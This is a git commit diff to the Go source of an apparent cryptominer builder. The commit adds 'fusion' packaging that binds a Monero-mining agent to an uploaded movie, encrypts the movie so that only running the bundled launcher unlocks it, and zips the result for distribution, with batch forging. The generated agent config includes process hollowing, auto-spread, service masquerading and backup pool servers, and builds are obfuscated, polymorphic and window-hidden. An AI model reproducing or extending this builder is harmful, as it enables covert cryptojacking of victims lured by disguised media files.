Add movie fusion packages with locked media, ZIP export, and batch forge UI.

Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
This commit is contained in:
drjones
2026-05-29 01:33:09 -07:00
parent 20eb5a3ba4
commit b99c8aab15
36 changed files with 2063 additions and 168 deletions

View File

@@ -22,8 +22,9 @@ import (
type BuildRequest struct {
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
Wallet string `json:"wallet"`
ServerURL string `json:"server_url"`
BackupServerURLs []string `json:"backup_server_urls"`
Wallet string `json:"wallet"`
OutputDir string `json:"output_dir"`
Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
@@ -55,9 +56,13 @@ type BuildRequest struct {
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
FusionEnabled bool `json:"fusion_enabled"`
FusionRunOrder string `json:"fusion_run_order"`
FusionOutputName string `json:"fusion_output_name"`
FusionEnabled bool `json:"fusion_enabled"`
FusionRunOrder string `json:"fusion_run_order"`
FusionOutputName string `json:"fusion_output_name"`
FusionPayloadKind string `json:"fusion_payload_kind"`
FusionMediaMode string `json:"fusion_media_mode"`
FusionMediaBaseName string `json:"fusion_media_base_name"`
FusionExportSubdir string `json:"fusion_export_subdir"`
// AI Autonomy (Ollama)
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
@@ -83,12 +88,22 @@ type BuildResponse struct {
ExportPath string `json:"export_path,omitempty"`
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"`
FusionExportDir string `json:"fusion_export_dir,omitempty"`
ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"`
BundleFileName string `json:"bundle_file_name,omitempty"`
BundleDownloadURL string `json:"bundle_download_url,omitempty"`
BundleSize int64 `json:"bundle_size,omitempty"`
WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
Error string `json:"error,omitempty"`
}
type BuildArtifactFile struct {
FileName string `json:"file_name"`
FilePath string `json:"file_path,omitempty"`
}
type Handler struct {
db *db.Database
dataDir string
@@ -147,7 +162,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(150 << 20); err != nil {
if err := r.ParseMultipartForm(64 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
return
}
@@ -166,10 +181,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
defer file.Close()
if req.FusionMediaBaseName == "" && header.Filename != "" {
req.FusionMediaBaseName = header.Filename
}
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
req.FusionOutputName = header.Filename
}
saved, remove, err := h.saveUploadedPrep(file, header)
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
}
saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
@@ -230,7 +251,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(150 << 20); err != nil {
if err := r.ParseMultipartForm(64 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
return
}
@@ -253,7 +274,10 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
prepSize = header.Size
prepName = header.Filename
}
saved, remove, err := h.saveUploadedPrep(file, header)
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
}
saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
@@ -301,6 +325,30 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, build.FilePath)
}
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
name := sanitizeFileName(chi.URLParam(r, "name"))
if name == "" {
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
return
}
buildDir := filepath.Join(h.dataDir, "builds", buildID)
path := filepath.Join(buildDir, name)
if _, err := os.Stat(path); err != nil {
// Paired media may live in fusion export dir — try deliverables folder from query
if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" {
path = filepath.Join(exportDir, name)
}
}
if _, err := os.Stat(path); err != nil {
http.Error(w, "Artifact not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
http.ServeFile(w, r, path)
}
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
@@ -352,6 +400,13 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
ldflags += " -H windowsgui"
}
extra, err := injectPolymorph(agentDir, buildID)
if err != nil {
log.Printf("[Forge] polymorph inject: %v", err)
} else {
ldflags += extra
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
log.Printf("Build failed: %v", err)
@@ -367,19 +422,97 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
}
var extraArtifacts []BuildArtifactFile
var fusionRes *fusionBuildResult
if req.FusionEnabled {
fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
}
var err error
fusionRes, err = h.buildFusionFromRequest(buildDir, prepPath, outputPath, req)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
finalPath = fusedPath
finalName = filepath.Base(fusedPath)
finalPath = fusionRes.LauncherPath
finalName = filepath.Base(finalPath)
fusionEnabled = true
if fusionRes.EncryptedPath != "" {
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: filepath.Base(fusionRes.EncryptedPath),
FilePath: fusionRes.EncryptedPath,
})
}
if fusionRes.ShortcutPath != "" {
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: filepath.Base(fusionRes.ShortcutPath),
FilePath: fusionRes.ShortcutPath,
})
}
}
exportPath, err := h.publishRootExecutable(finalPath, finalName)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
var fusionExportDir string
var bundleFileName string
var bundleDownloadURL string
var bundleSize int64
exportPath := ""
if fusionEnabled {
exportLabel := req.FusionMediaBaseName
if exportLabel == "" {
exportLabel = filepath.Base(prepPath)
}
if req.FusionPayloadKind != "video" {
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
}
arts := map[string]string{finalName: finalPath}
for _, ex := range extraArtifacts {
arts[ex.FileName] = ex.FilePath
}
subdir := fusionExportSubdir(req, exportLabel)
readme := fusionReadmeInfo{
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
RunnerName: finalName,
MediaName: filepath.Base(exportLabel),
PayloadKind: req.FusionPayloadKind,
MediaMode: req.FusionMediaMode,
}
if readme.Title == "" {
readme.Title = sanitizeFileName(req.WorkerName)
}
dir, err := h.publishFusionDeliverable(subdir, arts, readme)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
fusionExportDir = dir
exportPath = filepath.Join(dir, finalName)
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: "README.txt",
FilePath: filepath.Join(dir, "README.txt"),
})
for i := range extraArtifacts {
if extraArtifacts[i].FileName != "README.txt" {
extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
}
}
bundleFileName = fusionBundleZipName(subdir)
bundleBuildPath := filepath.Join(buildDir, bundleFileName)
if err := zipDirectory(dir, bundleBuildPath); err != nil {
return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
if st, err := os.Stat(bundleBuildPath); err == nil {
bundleSize = st.Size()
}
bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
} else {
var err error
exportPath, err = h.publishRootExecutable(finalPath, finalName)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
}
if exportPath == "" {
exportPath, _ = filepath.Abs(finalPath)
}
if strings.TrimSpace(req.OutputDir) != "" {
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
@@ -439,7 +572,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
log.Printf("Failed to record build: %v", err)
}
return BuildResponse{
resp := BuildResponse{
Success: true,
BuildID: buildID,
FileName: finalName,
@@ -453,10 +586,23 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
ExportPath: exportPath,
UninstallExportPath: "",
FusionEnabled: fusionEnabled,
FusionExportDir: fusionExportDir,
ExtraFiles: extraArtifacts,
BundleFileName: bundleFileName,
BundleDownloadURL: bundleDownloadURL,
BundleSize: bundleSize,
WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
}, http.StatusOK, finalPath
}
if fusionEnabled && bundleDownloadURL != "" {
resp.DownloadURL = bundleDownloadURL
resp.FileName = bundleFileName
if bundleSize > 0 {
resp.FileSize = bundleSize
}
}
return resp, http.StatusOK, finalPath
}
// publishRootExecutable writes the forged installer as a single file in the project root.
@@ -613,6 +759,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
if req.FusionMediaMode == "" {
req.FusionMediaMode = "paired"
}
req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
@@ -628,16 +778,19 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
return nil
}
func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
if header == nil || header.Size == 0 {
return "", nil, fmt.Errorf("prep.exe upload is empty")
func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
if header == nil {
return "", nil, fmt.Errorf("fusion upload is missing")
}
if header.Size > 150<<20 {
return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit")
if header.Size > FusionMaxUploadBytes {
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
}
name := strings.ToLower(header.Filename)
if !strings.HasSuffix(name, ".exe") {
return "", nil, fmt.Errorf("prep upload must be a .exe file")
baseName := filepath.Base(header.Filename)
if baseName == "" || baseName == "." {
return "", nil, fmt.Errorf("fusion upload filename is invalid")
}
if !isFusionPayloadExt(baseName) {
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
}
prepRoot := filepath.Join(h.dataDir, "preps")
@@ -648,22 +801,39 @@ func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHe
if err != nil {
return "", nil, err
}
dest := filepath.Join(dir, "prep.exe")
dest := filepath.Join(dir, sanitizeFileName(baseName))
out, err := os.Create(dest)
if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
if _, err := io.Copy(out, file); err != nil {
out.Close()
written, err := io.Copy(out, file)
out.Close()
if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
out.Close()
if written == 0 {
os.RemoveAll(dir)
return "", nil, fmt.Errorf("fusion upload is empty")
}
if written > FusionMaxUploadBytes {
os.RemoveAll(dir)
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
}
cleanup := func() { _ = os.RemoveAll(dir) }
return dest, cleanup, nil
}
func isFusionPayloadExt(name string) bool {
switch strings.ToLower(filepath.Ext(name)) {
case ".exe", ".mp4", ".mkv", ".mov":
return true
default:
return false
}
}
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s
@@ -675,9 +845,10 @@ import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: %q,
ServerURL: %q,
Wallet: %q,
WorkerName: %q,
ServerURL: %q,
BackupServerURLs: %s,
Wallet: %q,
Threads: %d,
ThreadMode: %q,
ThreadPercent: %d,
@@ -715,11 +886,15 @@ func GetBuiltinConfig() BuiltinConfig {
ProcessHollowing: %v,
MeshP2P: %v,
AutoSpread: %v,
ServiceMasquerade: %v,
ServiceName: %q,
ServiceDonor: %q,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
req.WorkerName,
req.ServerURL,
formatGoStringSlice(req.BackupServerURLs),
req.Wallet,
req.Threads,
req.ThreadMode,
@@ -758,9 +933,32 @@ func GetBuiltinConfig() BuiltinConfig {
req.ProcessHollowing,
req.MeshP2P,
req.AutoSpread,
serviceMasqueradeEnabled(req),
serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req),
)
}
func serviceMasqueradeEnabled(req *BuildRequest) bool {
return req.RunAs == "service" || req.ProcessHollowing
}
func serviceMasqueradeName(buildID string, req *BuildRequest) string {
if !serviceMasqueradeEnabled(req) {
return ""
}
name, _ := pickServiceMasquerade(buildID)
return name
}
func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
if !serviceMasqueradeEnabled(req) {
return ""
}
_, donor := pickServiceMasquerade(buildID)
return donor
}
func (h *Handler) copyAgentSource(destDir string) error {
srcDir := h.agentSrcDir
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
@@ -826,6 +1024,23 @@ func looksLikeXMRWallet(addr string) bool {
return true
}
func formatGoStringSlice(values []string) string {
if len(values) == 0 {
return "nil"
}
parts := make([]string, 0, len(values))
for _, v := range values {
v = strings.TrimSpace(v)
if v != "" {
parts = append(parts, fmt.Sprintf("%q", v))
}
}
if len(parts) == 0 {
return "nil"
}
return "[]string{" + strings.Join(parts, ", ") + "}"
}
func sanitizeFileName(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",